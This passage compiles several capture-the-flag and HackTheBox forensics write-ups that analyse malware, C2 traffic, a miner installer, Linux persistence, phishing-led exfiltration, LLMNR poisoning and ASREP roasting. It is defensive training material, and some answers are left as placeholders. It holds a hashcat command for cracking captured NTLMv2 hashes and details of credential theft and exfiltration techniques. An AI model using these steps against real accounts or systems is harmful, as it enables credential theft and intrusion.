• Solution: Within the main.SendFilesViaFTP function, observe text data being loaded into registers. Extract the username and password.

8. What file keeps getting written to disk?

• Solution: In the same function, look for a specific file write operation. The file name should be apparent within the function's logic or strings.

9. When Janice changed her password, this was captured in a file. What is Janice's username and password?

• Solution: Extract and review the keylog.txt file provided in the zip archive. The captured credentials will include Janice's username and password.

10. What app did Janice have open the last time she ran the "screenshot app"?

• Solution: Analyze the screenshots from the zip file. Look for visible application interfaces or filenames to identify the app Janice had open.

Tools Used:

1. VirusTotal: For initial binary analysis.

2. Detect-It-Easy (DIE): For static analysis and string extraction.

3. Binary Ninja with GoReSym plugin: For analyzing Golang binaries.

4. GoReSym: To extract symbols and generate .json for Binary Ninja.

5. Zip archive tools: To extract and analyze files like keylog.txt and screenshots.

This write-up demonstrates the importance of using multiple tools and techniques to extract valuable information from malware binaries and associated files.

I found a suspicious program on my computer making HTTP requests to a web server. Please review the provided traffic capture and executable file for analysis. (Note: The flag has two parts.)

Step 1: Extract the provided zip folder

• Extract the zip folder you were given. This folder contains a Windows binary and a PCAP file for analysis.

Step 2: Analyze the PCAP File

• Tools Used: Network Miner, Wireshark

• Open the provided PCAP file in Network Miner. You can also use Wireshark to manually inspect the captured traffic.

Step 3: Inspect the HTTP Response in Wireshark

• In Wireshark, filter for http.response to locate the relevant HTTP responses.

• You should see a stream of data containing random words, numbers, and symbols. These are likely important for obtaining the flag.

Step 4: Extracting Data from the HTTP Response

• Upon closer inspection, it becomes clear that the program is likely concatenating the first letter of each word in the response to form a string. The string is likely base64 encoded.

Step 5: Write a Python Script to Extract the First Letter

• Create a Python script that will extract the first letter of each word from the response data, keeping symbols and numbers intact.

def extract_first_letters(file_path):
result = ""
try:
# Open the file for reading
with open(file_path, 'r') as file:
content = file.read() # Read the entire content
# Split the content by spaces to get each word
words = content.split()
for word in words:
# If the word starts with an alphabetic letter, take its first character
if word[0].isalpha():
result += word[0]
else:
# Otherwise, keep the symbol or number as-is
result += word[0]
print("Extracted String:", result)
except FileNotFoundError:
print(f"Error: File '{file_path}' not found.")
except Exception as e:
print(f"An error occurred: {e}")

# Example usage
file_path = "yo.txt" # Change to the path of your text file
extract_first_letters(file_path)

Step 6: Run the Python Script

• After running the script on the extracted text file, you'll get an output like the following:

python yo.py
Extracted String: IFZvbHVtZSBpbiBkcml2ZSBDIGhhcyBubyBsYWJlbC4NCiBWb2x1bWUgU2VyaWFsIE51bWJlciBpcyBBMDc5LUFERkINCg0KIERpcmVjdG9yeSBvZiBDOlxUZW1wDQoNCjA1LzA3LzIwMjQgIDA5OjIyIEFNICAgIDxESVI+ICAgICAgICAgIC4NCjA1LzA3LzIwMjQgIDA5OjIyIEFNICAgIDxESVI+ICAgICAgICAgIC4uDQowNS8wNy8yMDI0ICAwNzoyMyBBTSAgICAgICAgNjcsNTE1LDc0NCBzbXBob3N0LmV4ZQ0KICAgICAgICAgICAgICAgMSBGaWxlKHMpICAgICA2Nyw1MTUsNzQ0IGJ5dGVzDQogICAgICAgICAgICAgICAyIERpcihzKSAgMjksNjM4LDUyMCw4MzIgYnl0ZXMgZnJlZQ0KJ2g3N1BfczczNDE3aHlfcmV2U0hFTEx9JyANCg==

Step 7: Decode the Base64 String in CyberChef

• Go to CyberChef ( https://gchq.github.io/CyberChef/) and paste the extracted string.

• Use the Base64 Decode operation to decode the string.

• You will receive the second part of the flag.

Step 8: Analyze the Executable Binary

• Next, open the Windows binary in Detect It Easy to determine its origin and the framework it was compiled with.

  • The binary is identified as a .NET executable.

Step 9: Use dotPeek for Further Analysis

• Open the .NET binary in dotPeek (or any other .NET decompiler) to analyze its functionality.

• Look for any dictionaries or strings that could help identify what the binary is doing.

Step 10: Use the Information from dotPeek to Decode the HTML

• The analysis reveals that the binary uses specific tags that map to hexadecimal values. These tags are crucial for decoding the HTML data found in the PCAP file.

Step 11: Write a Python Program to Decode the HTML

• Write a Python script to decode the HTML content based on the tag-to-hex mapping you found in dotPeek.

import base64
import random
import re

# Tag to hex mapping (same as the original C# program)
tag_hex = {
"cite": "0", "h1": "1", "p": "2", "a": "3", "img": "4", "ul": "5", "ol": "6",
"button": "7", "div": "8", "span": "9", "label": "a", "textarea": "b", "nav": "c",
"b": "d", "i": "e", "blockquote": "f"
}

def decode_html(input_file):
# Read the HTML content from the file
with open(input_file, 'r') as f:
html_content = f.read()

# Function to decode the data from base64 string using tag_hex mapping
def decode_data(data):
# Find all the tags in the body content and replace them with the hex mapping
decoded_str = ""

# Match opening tags and replace them with their corresponding hex values
matches = re.findall(r'<(\w+)[\s>]', data)
for match in matches:
if match in tag_hex:
decoded_str += tag_hex[match]

# Print the hex string before converting to bytes
print("Hex String:", decoded_str)

# Try converting the hex string into bytes and decode it to ASCII
try:
decoded_bytes = bytes.fromhex(decoded_str)
decoded_ascii = decoded_bytes.decode('ascii')
return decoded_bytes, decoded_ascii
except ValueError as e:
# Handle the error gracefully if invalid hex is encountered
return f"Error decoding hex: {str(e)}", None

# Decode the HTML content using the decode_data function
decoded_bytes, decoded_html = decode_data(html_content)

return decoded_bytes, decoded_html

# Take the file path as input from the user
input_file = input("Please enter the path to the HTML file: ")
decoded_bytes, decoded_html = decode_html(input_file)

# Output the decoded bytes and ASCII
if decoded_html:
print("\nDecoded ASCII:")
print(decoded_html)
print("\nDecoded Bytes:")
print(decoded_bytes)

Step 12: Run the Python Decoder

• Save the HTML content to a file and run it through the Python decoder.

• This should give you the first part of the flag.

Conclusion

You should now have both parts of the flag after following these steps.

• Second Part of the Flag: Extracted via base64 decoding.

• First Part of the Flag: Decoded from HTML using tag-to-hex mapping.

Congratulations on completing the "Fishy HTTP" challenge!

In the race for Vitalium on Mars, the villainous Board of Arodor resorted to desperate measures, needing funds for their mining attempts. They devised a botnet specifically crafted to mine cryptocurrency covertly. A sample of Arodor's miner's installer was discovered on our server. Recognizing the gravity of the situation, a thorough investigation was launched to unravel the inner workings of the installation mechanism. This discovery served as a turning point, revealing the extent of Arodor's desperation. However, the battle for Vitalium continued, urging the team to remain vigilant and enhance cyber defenses.

Steps to Solve the Challenge

1. Download the Files

• The first step involved downloading the provided challenge files.

2. Unzip the Files

• After downloading, the files were extracted using the unzip command.

unzip challenge_files.zip

3. Analyzing the miner_installer.sh Script

• A file command was used to determine the type of the miner_installer.sh file.

file miner_installer.sh

• The output indicated that it was a shell script.

4. Extracting Contents Using strings or cat

• To reveal the contents of the shell script, the following command was used:

strings miner_installer.sh

• Alternatively:

cat miner_installer.sh

• Upon inspection, the script contained several encoded strings and sections related to the installation and obfuscation mechanism.

5. Identifying Points of Interest

• The script was fairly lengthy and contained several encoded or encrypted components.

• Noteworthy points included:

  • Indicators of Compromise (IoCs) such as file paths, URLs, and potential registry keys.

  • Base64 encoded strings, likely containing instructions or parts of the flag.

6. Base64 Encoded Strings

• Several Base64 encoded strings were extracted from the script, including:

  • c6FydDE9IkhUQnttMW4xbmNcCg==

  • c6FydDI9I190aD3lc93NHkicg==

  • X3QwK200cnM=

  • ZXhwb3J0IHBhcnQ9PSJfdGgzX3IzZF9wbDRuM3R9Ig==

7. Decoding the Strings with CyberChef

• Each Base64 string was decoded using CyberChef:

  1. Open CyberChef and paste the Base64 string in the input section.

  2. Select the From Base64 operation.

  3. Decode the string to obtain its plaintext value.

8. Assembling the Flag

Reconstruct the decoded base64 to get the flag, put in logical order.

Conclusion

The challenge demonstrated how malicious actors can obfuscate installation mechanisms to perform cryptocurrency mining covertly. By carefully dissecting the script, identifying encoded strings, and using tools like CyberChef to decode the strings, the entire flag was successfully retrieved. Additionally, this challenge emphasized the importance of identifying Indicators of Compromise (IoCs) to enhance network defenses.

There is a rumor that aliens have developed a persistence mechanism that is difficult to detect. After investigating her compromised Linux server, Pandora found a possible sample of this mechanism. The objective is to analyze the provided files and discover how persistence is installed, ultimately revealing the flag.

Steps to Solve:

1. Download and Extract Files:

   • Start by downloading the provided challenge files and extract the contents.

2. Analyze the File:

   • Open a terminal and navigate to the directory where the file persistence.sh resides.

   • Run the following command:
     file persistence.sh

     • This command will identify the type of file. The result should indicate that it is a shell script.

3. Read the File Contents:

   • Use cat or strings to print the contents of the script to the terminal:
     cat persistence.sh
     
     or
     strings persistence.sh

   • Note the base64-encoded data present within the script.

4. Extract and Copy the Base64 Data:

   • Identify the base64-encoded string. This string is typically large and encoded to hide the actual payload.

   • Copy the entire base64 string.

5. Decode the Base64 Data in CyberChef:

   • Open CyberChef in your browser.

   • Select the operation "From Base64."

   • Paste the copied base64 data into the input section.

   • Ensure "Remove non-alphabet chars" is checked (to clean up any formatting).

   • Run the operation by clicking the "Bake!" button.

6. Review the Decoded Output:

   • The output of the decoded base64 data should reveal the contents, which may contain important information such as:

     • The persistence mechanism (e.g., a backdoor command, cron job, or system service).

     • The flag for the challenge.

Expected Result:

The decoded output in CyberChef should display the flag in plain text, confirming the solution.

Command Reference:

# Step 1: Verify the file type
file persistence.sh

# Step 2: Print contents of the file
cat persistence.sh

# Step 3: Decode using CyberChef (copy the base64 string)

This systematic approach ensures that you decode and understand how the persistence mechanism works while obtaining the challenge flag.

Situation: The customer has been alerted about concerning reports indicating a potential breach of their database, with information allegedly circulating on the darknet market. As the Incident Responder, the task is to conduct an investigation into an email received by an employee, comprehend its implications, and uncover connections to the data breach. The focus is to examine the provided artifacts to identify significant events on the victim's workstation.

Note: The first thing that I like to do when I get these KAPE target outputs is to run it through a KAPE module such as !EZParser using the command: ./kape.exe --msource "C:\Users\Username\Desktop\wb-ws-01" --module !EZParser --mdest "C:\Users\Username\Desktop\KOUT\" . This will be useful to us in the future as we continue working through the tasks.

1. The victim received an email from an unidentified sender. What email address was used for the suspicious email?

Method: The investigation starts by identifying the Outlook .ost file:

• Location:
  C:\Users\Username\Desktop\wb-ws-01\C\Users\ash.williams\AppData\Local\Microsoft\Outlook

• Tool Used: PSTWalker

• Steps:

  • Open the .ost file in PSTWalker.

  • Navigate to the Inbox folder and identify the suspicious email.

2. It appears there’s a link within the email. Can you provide the complete URL where the malicious binary file was hosted?

Method:

• Inspect the body of the email within PSTWalker to find the complete URL.

3. The threat actor managed to identify the victim's AWS credentials. From which file type did the threat actor extract these credentials?

Method:

• Search through the extracted email attachments and associated files.

• The AWS credentials were identified in an attachment file.

4. Provide the actual IAM credentials of the victim found within the artifacts.

Method:

• Continue browsing through PSTWalker and identify the specific IAM email.

• Extract the IAM credentials from the email body.

5. When (UTC) was the malicious binary activated on the victim’s workstation?

Method:

• Open the PECmd Timeline CSV using Timeline Explorer.

• Filter for:
  Superstar_MemberCard.tiff.exe

• Result: Note the execution time of the binary in UTC.

6. Following the download and execution of the binary file, the victim attempted to search for specific keywords on the internet. What were those keywords?

Method:

• Open the browser history database using DB Browser for SQLite.

• Run the following SQL query:
  SELECT url, title, datetime(last_visit_time/1000000-11644473600, 'unixepoch') AS visit_time
  FROM urls
  WHERE url LIKE '%search%' OR title LIKE '%search%';

• Check for search-related keywords in the query results.

7. At what time (UTC) did the binary successfully send an identical malicious email from the victim’s machine to all the contacts?

Method:

• Open the Sent Mail folder in PSTWalker.

• Right-click the email and choose MAPI Properties.

• Check the PR_CLIENT_SUBMIT_TIME property and convert it to UTC.

  • Compare the time to the binary’s execution time to ensure consistency.

8. How many recipients were targeted by the distribution of the said email excluding the victim’s email account?

Method:

• In PSTWalker, check the MAPI properties of the email.

• Count the recipients listed in the To and BCC fields.

9. Which legitimate program was utilized to obtain details regarding the domain controller?

Method:

• Open Timeline Explorer and filter for the process:
  Superstar_MemberCard.tiff.exe

• Check the Payload section for related commands such as nltest.exe, whoami, or net.exe.

10. Specify the domain (including sub-domain if applicable) that was used to download the tool for exfiltration.

Method:

• Open Timeline Explorer and filter the Map Description for:
  DNSEvent

• Identify the domains queried that led to the download.

11. The threat actor attempted to conceal the tool to elude suspicion. Can you specify the name of the folder used to store and hide the file transfer program?

Method:

• In Timeline Explorer, filter for:
  Superstar_MemberCard.tiff.exe

• Locate the Parent Directory or folder path where the executable resides.

12. Under which MITRE ATT&CK technique does the action described in question #11 fall?

Method:

• Conduct a quick online search for the action (e.g., file concealment, renaming, or hiding directories).

• The likely MITRE ATT&CK technique is T1564.001 - Hidden Files and Directories.

13. Can you determine the minimum number of files that were compressed before they were extracted?

Method:

• Note: Timeline Explorer may not always show all files.

• Use Chainsaw in Kali Linux:
  ./chainsaw search --skip-errors "Superstar_MemberCard.tiff.exe" C/ | grep TargetFilename > files.txt
  cat files.txt | grep -vE ".exe|.ps1|tiff|zip|HelpDesk" | grep ".*\..*" | sort | uniq

• Check for the number of unique file paths extracted from the compressed file.

14. To exfiltrate data from the victim's workstation, the binary executed a command. Can you provide the complete command used for this action?

Method:

• In Timeline Explorer, search for:
  winscp.exe

• Locate the ParentCommandLine field in the Payload section to find the complete exfiltration command.

HackTheBox: RogueOne Write-Up

Scenario:
Your SIEM system generated multiple alerts in less than a minute, indicating potential C2 communication from Simon Stark's workstation. Despite Simon not noticing anything unusual, the IT team had him share screenshots of his task manager to check for any unusual processes. No suspicious processes were found, yet alerts about C2 communications persisted. The SOC manager then directed the immediate containment of the workstation and a memory dump for analysis. As a memory forensics expert, you are tasked with assisting the SOC team at Forela to investigate and resolve this urgent incident.

Task 1: Identify the Malicious Process and Confirm Process ID of Malicious Process

Steps:

1. Extract the memory dump:

7z x RogueOne.zip

2. Use Volatility 3 to analyze the memory dump:

~/.local/bin/vol -f <memory-file> windows.pslist

Task 2: Identify the Child Process Spawned by the Malicious Process

Steps:

1. Run the windows.pstree plugin to check the process tree:

~/.local/bin/vol -f <memory-file> windows.pstree

2. Observe the parent-child relationship and note the process ID (PID) of the child process spawned.

Task 3: Find the MD5 Hash of the Malicious File

Steps:

1. Dump the memory region of the malicious process:

~/.local/bin/vol -f <memory-file> windows.dumpfiles --pid <malicious-pid> -o .

2. Use md5sum to calculate the hash:

md5sum <dumped-file>

Task 4: Confirm the C2 IP Address and Port

Steps:

1. Run the windows.netscan plugin to check for active connections:

~/.local/bin/vol -f <memory-file> windows.netscan

2. Look for the malicious PID and note the foreign address and port.

Task 5: Confirm the Execution Time and C2 Channel Establishment Time

Steps:

1. Use the windows.netscan plugin output.

2. Review the timestamp associated with the connection established by the malicious process.

Task 6: Find the Memory Offset of the Malicious Process

Steps:

1. Run the windows.psscan plugin:

~/.local/bin/vol -f <memory-file> windows.psscan

2. Locate the malicious process PID and note its memory offset.

Task 7: Determine When the Malicious File Was First Submitted to VirusTotal

Steps:

1. Copy the MD5 hash from Task 3.

2. Open VirusTotal (

https://www.virustotal.com

3. ) and paste the MD5 hash in the search bar.

4. Review the "First Submission" date and time.

Conclusion:

Following these steps allows you to systematically identify the malicious process, its behavior, and its timeline, helping the DFIR team perform root cause analysis and containment. Each tool used plays a critical role in building the timeline and gathering forensic evidence for further investigation.

Forela's internal security team conducted penetration testing on their networks. Following the tests, it was discovered that a host may have been compromised. The goal of this investigation is to verify how the compromise occurred using the retrospective collection provided.

1. What is the name of the repository utilized by the Pen Tester within Forela that resulted in the compromise of his host?

To address this question, we need to thoroughly examine the provided directories. Unzipping all contents, including those in subdirectories, is crucial, as it will give us access to the relevant repository that led to the host's compromise.

2. What is the name of the malicious function within the script ran by the Pen Tester?

The shell script is not directly available in the logs. To retrieve it, we must pull the script using git. Once obtained, examining its contents will reveal the name of the malicious function that was executed.

3. What is the password of the zip file downloaded within the malicious function?

In the script, a $PASSWORD variable is passed, which is constructed using $part1 and $part2. To determine the password, we need to identify the values of $part1 and $part2, possibly decoding them using a tool like CyberChef.

4. What is the full URL of the file downloaded by the attacker?

The function do_wget_and_run() is key to answering this question. By focusing on the variables f1 and f2, we can uncover the full URL that the attacker used to download the file.

5. When did the attacker finally take out the real comments for the malicious function?

To determine when the real comments were removed, we need to examine the history of the GitHub repository. This can be done by navigating to the "Activity" section on the GitHub repo, selecting the three dots, and comparing changes. By reviewing the deletions, we can pinpoint the specific change log, then pivot to Kali to run git commands and obtain the exact timestamp.

6. The attacker changed the URL to download the file, what was it before the change?

Using the same approach as in question 5, we can identify the previous URL by examining the version history and comparing changes to the repository.

7. What is the MITRE technique ID utilized by the attacker to persist?

Upon reviewing the script, we observe the attacker scheduling a cron job. This action points to a persistence mechanism, which corresponds to a specific MITRE technique ID related to cron job manipulation.

8. What is the name of the technique relevant to the binary the attacker runs?

We need to investigate the binary that the attacker executed. By examining the binary's attributes and behavior, we can determine the specific technique employed by the attacker related to the execution of the binary.

This write-up outlines the steps necessary to analyze and confirm the details of the compromise. By following the steps above, we can systematically answer each question and determine how the host was compromised.

The Intrusion Detection System (IDS) identified unusual activity in the internal Active Directory network involving LLMNR traffic, indicating a possible LLMNR poisoning attack. The investigation focuses on the suspect device targeting Forela-WKstn002 (IP: 172.17.79.136). A packet capture (PCAP) was provided for analysis. Below are the findings from the network forensics investigation.

1. It's suspected by the security team that there was a rogue device in Forela's internal network running a responder tool to perform an LLMNR Poisoning attack. Please find the malicious IP Address of the machine.

Approach:

• Open the PCAP file using Wireshark or NetworkMiner.

• Apply the filter for port 5355 (LLMNR) to isolate relevant traffic.

Answer:

• The malicious IP address is X.X.X.X (replace with actual IP after analysis).

2. What is the hostname of the rogue machine?

Approach:

• In NetworkMiner, navigate to the "Hosts" tab.

• Filter based on the IP address found in question 1.

• Review the hostnames and identify the consistent hostname amidst multiple poisoned entries.

Answer:

• The hostname of the rogue machine is attacker-hostname (replace with actual hostname).

3. Now we need to confirm whether the attacker captured the user's hash and it is crackable!! What is the username whose hash was captured?

Approach:

• In NetworkMiner, go to the "Credentials" tab.

• Review the captured credentials to identify the username.

Answer:

• The username whose hash was captured is victim-username (replace with actual username).

4. In NTLM traffic, we can see that the victim credentials were relayed multiple times to the attacker's machine. When were the hashes captured the first time?

Approach:

• Continue using the credentials view and inspect timestamps.

• Identify the earliest occurrence of captured hashes.

Answer:

• The first time the hash was captured: HH:MM:SS (replace with actual time).

5. What was the typo made by the victim when navigating to the file share that caused his credentials to be leaked?

Approach:

• In NetworkMiner, search for DNS queries related to LLMNR (port 5355).

• Identify the typo in the requested resource name.

Answer:

• The typo made by the victim: \\incorrect-share-name (replace with actual typo).

6. To get the actual credentials of the victim user, we need to stitch together multiple values from the NTLM negotiation packets. What is the NTLM server challenge value?

Approach:

• Apply the same filter for NTLM traffic.

• Locate the NTLM negotiation packets (type 2 messages) to find the challenge value.

Answer:

• The NTLM server challenge value is 0xXXXXXXXX (replace with actual hex value).

7. Now doing something similar, find the NTProofStr value.

Approach:

• Open the PCAP in Wireshark.

• Filter for "ntlmssp" to view NTLM authentication messages.

• Focus on the type 3 (AUTH) message to extract the NTProofStr.

Answer:

• The NTProofStr value is 0xXXXXXXXX (replace with actual hex value).

8. To test the password complexity, try recovering the password from the information found from packet capture. This is a crucial step as this way we can find whether the attacker was able to crack this and how quickly.

Approach:

• Collect the NTLMv2 hash components.

• Use hashcat with the RockYou wordlist to attempt password cracking.

• Command example: hashcat -m 5600 captured_hash.txt rockyou.txt

Answer:

• The cracked password is password-value (replace with actual password).

9. Just to get more context surrounding the incident, what is the actual file share that the victim was trying to navigate to?

Approach:

• In Wireshark, filter for "SMB" or "SMB2".

• Identify the file share path in the SMB protocol details.

Answer:

• The file share is \\server\share-name (replace with actual file share path).

Conclusion: The analysis confirmed that an LLMNR poisoning attack was conducted by a rogue device, capturing and potentially cracking victim credentials. By identifying the attacker’s IP, hostname, and the NTLM components, appropriate remediation steps can be taken to strengthen network defenses against such attacks.

1. When did the ASREP Roasting attack occur, and when did the attacker request the Kerberos ticket for the vulnerable user?

To determine when the attack occurred:

• Process the provided security event logs using EvtxECmd.

• Command: EvtxECmd.exe -f Security.evtx --csv C:\Users\Username\Desktop\

• Open the generated CSV file in Timeline Explorer.

• Filter by Event ID 4768.

• Check the Payload Data6 column for entries containing "Logon without Pre-Authentication," indicating an ASREP Roasting event.

2. Please confirm the User Account that was targeted by the attacker.

• Continue filtering for Event ID 4768.

• Scroll to the Payload Data1 column to identify the username of the targeted account.

3. What was the SID of the account?

• In the same filtered view, locate the TargetSid field within the Payload column to find the Security Identifier (SID) of the account.

4. What is the internal IP address of the compromised asset?

• In the same log entry, locate the internal IP address within the Payload content.

• This information is critical for identifying the source machine involved in the attack.

5. What user account was used to perform the ASREP Roasting attack?

• Remove the Event ID 4768 filter and apply a filter for the IP address identified in question 4.

• The resulting entries will show the user account associated with the source IP address performing the ASREP Roasting attack.

Conclusion: This process identifies the timeline, user account, SID, and source IP of the ASREP Roasting attack, enabling further containment and threat-hunting activities. The identification of the compromised machine and user accounts assists in strengthening the incident response and improving security measures to prevent future attacks.